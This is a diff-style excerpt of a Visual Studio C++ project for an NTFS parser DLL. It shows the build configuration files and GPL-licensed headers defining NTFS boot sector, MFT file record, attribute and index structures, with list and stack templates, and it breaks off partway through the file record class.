<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="NTFSParserDLL.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,39 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="NTFSParserDLL.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,317 @@
/*
* NTFS Class common definitions
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_COMMON_H_CYB70289
#define __NTFS_COMMON_H_CYB70289
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <crtdbg.h>
#include "NTFS_DataType.h"
#define ATTR_NUMS 16 // Attribute Types count
#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2
#define ATTR_MASK(at) (((DWORD)1)<<ATTR_INDEX(at)) // Attribute Bit Mask
// Bit masks of Attributes
#define MASK_STANDARD_INFORMATION ATTR_MASK(ATTR_TYPE_STANDARD_INFORMATION)
#define MASK_ATTRIBUTE_LIST ATTR_MASK(ATTR_TYPE_ATTRIBUTE_LIST)
#define MASK_FILE_NAME ATTR_MASK(ATTR_TYPE_FILE_NAME)
#define MASK_OBJECT_ID ATTR_MASK(ATTR_TYPE_OBJECT_ID)
#define MASK_SECURITY_DESCRIPTOR ATTR_MASK(ATTR_TYPE_SECURITY_DESCRIPTOR)
#define MASK_VOLUME_NAME ATTR_MASK(ATTR_TYPE_VOLUME_NAME)
#define MASK_VOLUME_INFORMATION ATTR_MASK(ATTR_TYPE_VOLUME_INFORMATION)
#define MASK_DATA ATTR_MASK(ATTR_TYPE_DATA)
#define MASK_INDEX_ROOT ATTR_MASK(ATTR_TYPE_INDEX_ROOT)
#define MASK_INDEX_ALLOCATION ATTR_MASK(ATTR_TYPE_INDEX_ALLOCATION)
#define MASK_BITMAP ATTR_MASK(ATTR_TYPE_BITMAP)
#define MASK_REPARSE_POINT ATTR_MASK(ATTR_TYPE_REPARSE_POINT)
#define MASK_EA_INFORMATION ATTR_MASK(ATTR_TYPE_EA_INFORMATION)
#define MASK_EA ATTR_MASK(ATTR_TYPE_EA)
#define MASK_LOGGED_UTILITY_STREAM ATTR_MASK(ATTR_TYPE_LOGGED_UTILITY_STREAM)
#define MASK_ALL ((DWORD)-1)
#define NTFS_TRACE(t1) _RPT0(_CRT_WARN, t1)
#define NTFS_TRACE1(t1, t2) _RPT1(_CRT_WARN, t1, t2)
#define NTFS_TRACE2(t1, t2, t3) _RPT2(_CRT_WARN, t1, t2, t3)
#define NTFS_TRACE3(t1, t2, t3, t4) _RPT3(_CRT_WARN, t1, t2, t3, t4)
#define NTFS_TRACE4(t1, t2, t3, t4, t5) _RPT4(_CRT_WARN, t1, t2, t3, t4, t5)
// User defined Callback routines to process raw attribute data
// Set bDiscard to TRUE if this Attribute is to be discarded
// Set bDiscard to FALSE to let CFileRecord process it
typedef void (*ATTR_RAW_CALLBACK)(const ATTR_HEADER_COMMON *attrHead, BOOL *bDiscard);
// User defined Callback routine to handle CFileRecord parsed attributes
// Will be called by CFileRecord::TraverseAttrs() for each attribute
// attrClass is the according attribute's wrapping class, CAttr_xxx
// Set bStop to TRUE if don't want to continue
// Set bStop to FALSE to continue processing
class CAttrBase;
typedef void (*ATTRS_CALLBACK)(const CAttrBase *attr, void *context, BOOL *bStop);
// User defined Callback routine to handle Directory traversing
// Will be called by CFileRecord::TraverseSubEntries for each sub entry
class CIndexEntry;
typedef void (*SUBENTRY_CALLBACK)(const CIndexEntry *ie);
// List Entry
template <class ENTRY_TYPE>
struct NTSLIST_ENTRY
{
NTSLIST_ENTRY *Next;
ENTRY_TYPE *Entry;
};
// List Entry Smart Pointer
template <class ENTRY_TYPE>
class CEntrySmartPtr
{
public:
CEntrySmartPtr(ENTRY_TYPE *ptr = NULL)
{
EntryPtr = ptr;
}
virtual ~CEntrySmartPtr()
{
if (EntryPtr)
delete EntryPtr;
}
private:
const ENTRY_TYPE *EntryPtr;
public:
__inline CEntrySmartPtr<ENTRY_TYPE> operator = (const ENTRY_TYPE* ptr)
{
// Delete previous pointer if allocated
if (EntryPtr)
delete EntryPtr;
EntryPtr = ptr;
return *this;
}
__inline const ENTRY_TYPE* operator->() const
{
_ASSERT(EntryPtr);
return EntryPtr;
}
__inline BOOL IsValid() const
{
return EntryPtr != NULL;
}
};
//////////////////////////////////////
// Single list implementation
//////////////////////////////////////
template <class ENTRY_TYPE>
class CSList
{
public:
CSList()
{
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
virtual ~CSList()
{
RemoveAll();
}
private:
int EntryCount;
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
NTSLIST_ENTRY<ENTRY_TYPE> *ListCurrent;
public:
// Get entry count
__inline int GetCount() const
{
return EntryCount;
}
// Insert to tail
BOOL InsertEntry(ENTRY_TYPE *entry)
{
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
if (!le)
return FALSE;
le->Entry = entry;
le->Next = NULL;
if (ListTail == NULL)
ListHead = le; // Empty list
else
ListTail->Next = le;
ListTail = le;
EntryCount++;
return TRUE;
}
// Remove all entries
void RemoveAll()
{
while (ListHead)
{
ListCurrent = ListHead->Next;
delete ListHead->Entry;
delete ListHead;
ListHead = ListCurrent;
}
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
// Find first entry
__inline ENTRY_TYPE *FindFirstEntry() const
{
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListHead;
if (ListCurrent)
return ListCurrent->Entry;
else
return NULL;
}
// Find next entry
__inline ENTRY_TYPE *FindNextEntry() const
{
if (ListCurrent)
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListCurrent->Next;
if (ListCurrent)
return ListCurrent->Entry;
else
return NULL;
}
// Throw all entries
// Caution! All entries are just thrown without free
__inline void ThrowAll()
{
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
}; //CSList
//////////////////////////////////////
// Stack implementation
//////////////////////////////////////
template <class ENTRY_TYPE>
class CStack
{
public:
CStack()
{
ListHead = ListTail = NULL;
EntryCount = 0;
}
virtual ~CStack()
{
RemoveAll();
}
private:
int EntryCount;
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
public:
// Get entry count
__inline int GetCount() const
{
return EntryCount;
}
// Insert to head
BOOL Push(ENTRY_TYPE *entry)
{
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
if (!le)
return FALSE;
le->Entry = entry;
le->Next = ListHead;
ListHead = le;
if (ListTail == NULL)
ListTail = le; // Empty list
EntryCount ++;
return TRUE;
}
// Remove from head
ENTRY_TYPE* Pop()
{
if (ListHead == NULL)
return NULL;
NTSLIST_ENTRY<ENTRY_TYPE> *le = ListHead;
ENTRY_TYPE *e = le->Entry;
if (ListTail == ListHead)
ListTail = ListHead->Next;
ListHead = ListHead->Next;
delete le;
EntryCount --;
return e;
}
// Remove all entries
void RemoveAll()
{
NTSLIST_ENTRY<ENTRY_TYPE> *le;
while (ListHead)
{
le = ListHead->Next;
delete ListHead->Entry;
delete ListHead;
ListHead = le;
}
ListHead = ListTail = NULL;
EntryCount = 0;
}
}; //CStack
#endif
@@ -0,0 +1,380 @@
/*
* NTFS data structures and definitions
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_DATATYPE_H_CYB70289
#define __NTFS_DATATYPE_H_CYB70289
// NTFS Boot Sector BPB
#define NTFS_SIGNATURE "NTFS "
#pragma pack(1)
typedef struct tagNTFS_BPB
{
// jump instruction
BYTE Jmp[3];
// signature
BYTE Signature[8];
// BPB and extended BPB
WORD BytesPerSector;
BYTE SectorsPerCluster;
WORD ReservedSectors;
BYTE Zeros1[3];
WORD NotUsed1;
BYTE MediaDescriptor;
WORD Zeros2;
WORD SectorsPerTrack;
WORD NumberOfHeads;
DWORD HiddenSectors;
DWORD NotUsed2;
DWORD NotUsed3;
ULONGLONG TotalSectors;
ULONGLONG LCN_MFT;
ULONGLONG LCN_MFTMirr;
DWORD ClustersPerFileRecord;
DWORD ClustersPerIndexBlock;
BYTE VolumeSN[8];
// boot code
BYTE Code[430];
//0xAA55
BYTE _AA;
BYTE _55;
} NTFS_BPB;
#pragma pack()
// MFT Indexes
#define MFT_IDX_MFT 0
#define MFT_IDX_MFT_MIRR 1
#define MFT_IDX_LOG_FILE 2
#define MFT_IDX_VOLUME 3
#define MFT_IDX_ATTR_DEF 4
#define MFT_IDX_ROOT 5
#define MFT_IDX_BITMAP 6
#define MFT_IDX_BOOT 7
#define MFT_IDX_BAD_CLUSTER 8
#define MFT_IDX_SECURE 9
#define MFT_IDX_UPCASE 10
#define MFT_IDX_EXTEND 11
#define MFT_IDX_RESERVED12 12
#define MFT_IDX_RESERVED13 13
#define MFT_IDX_RESERVED14 14
#define MFT_IDX_RESERVED15 15
#define MFT_IDX_USER 16
/******************************
File Record
---------------------
| File Record Header|
---------------------
| Attribute 1 |
---------------------
| Attribute 2 |
---------------------
| ...... |
---------------------
| 0xFFFFFFFF |
---------------------
*******************************/
// File Record Header
#define FILE_RECORD_MAGIC 'ELIF'
#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use
#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory
typedef struct tagFILE_RECORD_HEADER
{
DWORD Magic; // "FILE"
WORD OffsetOfUS; // Offset of Update Sequence
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
ULONGLONG LSN; // $LogFile Sequence Number
WORD SeqNo; // Sequence number
WORD Hardlinks; // Hard link count
WORD OffsetOfAttr; // Offset of the first Attribute
WORD Flags; // Flags
DWORD RealSize; // Real size of the FILE record
DWORD AllocSize; // Allocated size of the FILE record
ULONGLONG RefToBase; // File reference to the base FILE record
WORD NextAttrId; // Next Attribute Id
WORD Align; // Align to 4 byte boundary
DWORD RecordNo; // Number of this MFT Record
} FILE_RECORD_HEADER;
/******************************
Attribute
--------------------
| Attribute Header |
--------------------
| Attribute Data |
--------------------
*******************************/
// Attribute Header
#define ATTR_TYPE_STANDARD_INFORMATION 0x10
#define ATTR_TYPE_ATTRIBUTE_LIST 0x20
#define ATTR_TYPE_FILE_NAME 0x30
#define ATTR_TYPE_OBJECT_ID 0x40
#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50
#define ATTR_TYPE_VOLUME_NAME 0x60
#define ATTR_TYPE_VOLUME_INFORMATION 0x70
#define ATTR_TYPE_DATA 0x80
#define ATTR_TYPE_INDEX_ROOT 0x90
#define ATTR_TYPE_INDEX_ALLOCATION 0xA0
#define ATTR_TYPE_BITMAP 0xB0
#define ATTR_TYPE_REPARSE_POINT 0xC0
#define ATTR_TYPE_EA_INFORMATION 0xD0
#define ATTR_TYPE_EA 0xE0
#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100
#define ATTR_FLAG_COMPRESSED 0x0001
#define ATTR_FLAG_ENCRYPTED 0x4000
#define ATTR_FLAG_SPARSE 0x8000
typedef struct tagATTR_HEADER_COMMON
{
DWORD Type; // Attribute Type
DWORD TotalSize; // Length (including this header)
BYTE NonResident; // 0 - resident, 1 - non resident
BYTE NameLength; // name length in words
WORD NameOffset; // offset to the name
WORD Flags; // Flags
WORD Id; // Attribute Id
} ATTR_HEADER_COMMON;
typedef struct tagATTR_HEADER_RESIDENT
{
ATTR_HEADER_COMMON Header; // Common data structure
DWORD AttrSize; // Length of the attribute body
WORD AttrOffset; // Offset to the Attribute
BYTE IndexedFlag; // Indexed flag
BYTE Padding; // Padding
} ATTR_HEADER_RESIDENT;
typedef struct tagATTR_HEADER_NON_RESIDENT
{
ATTR_HEADER_COMMON Header; // Common data structure
ULONGLONG StartVCN; // Starting VCN
ULONGLONG LastVCN; // Last VCN
WORD DataRunOffset; // Offset to the Data Runs
WORD CompUnitSize; // Compression unit size
DWORD Padding; // Padding
ULONGLONG AllocSize; // Allocated size of the attribute
ULONGLONG RealSize; // Real size of the attribute
ULONGLONG IniSize; // Initialized data size of the stream
} ATTR_HEADER_NON_RESIDENT;
// Attribute: STANDARD_INFORMATION
#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001
#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002
#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004
#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020
#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040
#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080
#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100
#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200
#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400
#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800
#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000
#define ATTR_STDINFO_PERMISSION_NCI 0x00002000
#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000
typedef struct tagATTR_STANDARD_INFORMATION
{
ULONGLONG CreateTime; // File creation time
ULONGLONG AlterTime; // File altered time
ULONGLONG MFTTime; // MFT changed time
ULONGLONG ReadTime; // File read time
DWORD Permission; // Dos file permission
DWORD MaxVersionNo; // Maxim number of file versions
DWORD VersionNo; // File version number
DWORD ClassId; // Class Id
DWORD OwnerId; // Owner Id
DWORD SecurityId; // Security Id
ULONGLONG QuotaCharged; // Quota charged
ULONGLONG USN; // USN Journel
} ATTR_STANDARD_INFORMATION;
// Attribute: ATTRIBUTE_LIST
typedef struct tagATTR_ATTRIBUTE_LIST
{
DWORD AttrType; // Attribute type
WORD RecordSize; // Record length
BYTE NameLength; // Name length in characters
BYTE NameOffset; // Name offset
ULONGLONG StartVCN; // Start VCN
ULONGLONG BaseRef; // Base file reference to the attribute
WORD AttrId; // Attribute Id
} ATTR_ATTRIBUTE_LIST;
// Attribute: FILE_NAME
#define ATTR_FILENAME_FLAG_READONLY 0x00000001
#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002
#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004
#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020
#define ATTR_FILENAME_FLAG_DEVICE 0x00000040
#define ATTR_FILENAME_FLAG_NORMAL 0x00000080
#define ATTR_FILENAME_FLAG_TEMP 0x00000100
#define ATTR_FILENAME_FLAG_SPARSE 0x00000200
#define ATTR_FILENAME_FLAG_REPARSE 0x00000400
#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800
#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000
#define ATTR_FILENAME_FLAG_NCI 0x00002000
#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000
#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000
#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000
#define ATTR_FILENAME_NAMESPACE_POSIX 0x00
#define ATTR_FILENAME_NAMESPACE_WIN32 0x01
#define ATTR_FILENAME_NAMESPACE_DOS 0x02
typedef struct tagATTR_FILE_NAME
{
ULONGLONG ParentRef; // File reference to the parent directory
ULONGLONG CreateTime; // File creation time
ULONGLONG AlterTime; // File altered time
ULONGLONG MFTTime; // MFT changed time
ULONGLONG ReadTime; // File read time
ULONGLONG AllocSize; // Allocated size of the file
ULONGLONG RealSize; // Real size of the file
DWORD Flags; // Flags
DWORD ER; // Used by EAs and Reparse
BYTE NameLength; // Filename length in characters
BYTE NameSpace; // Filename space
WORD Name[1]; // Filename
} ATTR_FILE_NAME;
// Attribute: VOLUME_INFORMATION
#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty
#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile
#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount
#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4
#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway
#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids
#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk
typedef struct tagATTR_VOLUME_INFORMATION
{
BYTE Reserved1[8]; // Always 0 ?
BYTE MajorVersion; // Major version
BYTE MinorVersion; // Minor version
WORD Flags; // Flags
BYTE Reserved2[4]; // Always 0 ?
} ATTR_VOLUME_INFORMATION;
// Attribute: INDEX_ROOT
/******************************
INDEX_ROOT
---------------------
| Index Root Header |
---------------------
| Index Header |
---------------------
| Index Entry |
---------------------
| Index Entry |
---------------------
| ...... |
---------------------
*******************************/
#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record
#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed
typedef struct tagATTR_INDEX_ROOT
{
// Index Root Header
DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View)
DWORD CollRule; // Collation rule
DWORD IBSize; // Size of index block
BYTE ClustersPerIB; // Clusters per index block (same as BPB?)
BYTE Padding1[3]; // Padding
// Index Header
DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10)
DWORD TotalEntrySize; // Total size of the index entries
DWORD AllocEntrySize; // Allocated size of the index entries
BYTE Flags; // Flags
BYTE Padding2[3]; // Padding
} ATTR_INDEX_ROOT;
// INDEX ENTRY
#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node
#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream
typedef struct tagINDEX_ENTRY
{
ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number
WORD Size; // Length of the index entry
WORD StreamSize; // Length of the stream
BYTE Flags; // Flags
BYTE Padding[3]; // Padding
BYTE Stream[1]; // Stream
// VCN of the sub node in Index Allocation, Offset = Size - 8
} INDEX_ENTRY;
// INDEX BLOCK
/******************************
INDEX_BLOCK
-----------------------
| Index Block Header |
-----------------------
| Index Header |
-----------------------
| Index Entry |
-----------------------
| Index Entry |
-----------------------
| ...... |
-----------------------
*******************************/
#define INDEX_BLOCK_MAGIC 'XDNI'
typedef struct tagINDEX_BLOCK
{
// Index Block Header
DWORD Magic; // "INDX"
WORD OffsetOfUS; // Offset of Update Sequence
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
ULONGLONG LSN; // $LogFile Sequence Number
ULONGLONG VCN; // VCN of this index block in the index allocation
// Index Header
DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18)
DWORD TotalEntrySize; // Total size of the index entries
DWORD AllocEntrySize; // Allocated size of index entries
BYTE NotLeaf; // 1 if not leaf node (has children)
BYTE Padding[3]; // Padding
} INDEX_BLOCK;
#endif
@@ -0,0 +1,989 @@
/*
* NTFS Volume and File Record Class
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_FILERECORD_H_CYB70289
#define __NTFS_FILERECORD_H_CYB70289
///////////////////////////////////////
// NTFS Volume forward declaration
///////////////////////////////////////
class CNTFSVolume
{
public:
CNTFSVolume(_TCHAR volume);
virtual ~CNTFSVolume();
friend class CFileRecord;
friend class CAttrBase;
private:
WORD SectorSize;
DWORD ClusterSize;
DWORD FileRecordSize;
DWORD IndexBlockSize;
ULONGLONG MFTAddr;
HANDLE hVolume;
BOOL VolumeOK;
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
WORD Version;
// MFT file records ($MFT file itself) may be fragmented
// Get $MFT Data attribute to translate FileRecord to correct disk offset
CFileRecord *MFTRecord; // $MFT File Record
const CAttrBase *MFTData; // $MFT Data Attribute
BOOL OpenVolume(_TCHAR volume);
public:
__inline BOOL IsVolumeOK() const;
__inline WORD GetVersion() const;
__inline ULONGLONG GetRecordsCount() const;
__inline DWORD GetSectorSize() const;
__inline DWORD GetClusterSize() const;
__inline DWORD GetFileRecordSize() const;
__inline DWORD GetIndexBlockSize() const;
__inline ULONGLONG GetMFTAddr() const;
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
__inline void ClearAttrRawCB();
}; // CNTFSVolume
////////////////////////////////////////////
// List to hold Attributes of the same type
////////////////////////////////////////////
typedef class CSList<CAttrBase> CAttrList;
// It seems VC6.0 doesn't support template class friends
#if _MSC_VER <= 1200
class CAttrResident;
class CAttrNonResident;
template <class TYPE_RESIDENT> class CAttr_AttrList;
#endif
////////////////////////////////
// Process a single File Record
////////////////////////////////
class CFileRecord
{
public:
CFileRecord(const CNTFSVolume *volume);
virtual ~CFileRecord();
friend class CAttrBase;
#if _MSC_VER <= 1200
// Walk around VC6.0 compiler defect
friend class CAttr_AttrList<CAttrResident>;
friend class CAttr_AttrList<CAttrNonResident>;
#else
template <class TYPE_RESIDENT> friend class CAttr_AttrList; // Won't compiler in VC6.0, why?
#endif
private:
const CNTFSVolume *Volume;
FILE_RECORD_HEADER *FileRecord;
ULONGLONG FileReference;
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
DWORD AttrMask;
CAttrList AttrList[ATTR_NUMS]; // Attributes
void ClearAttrs();
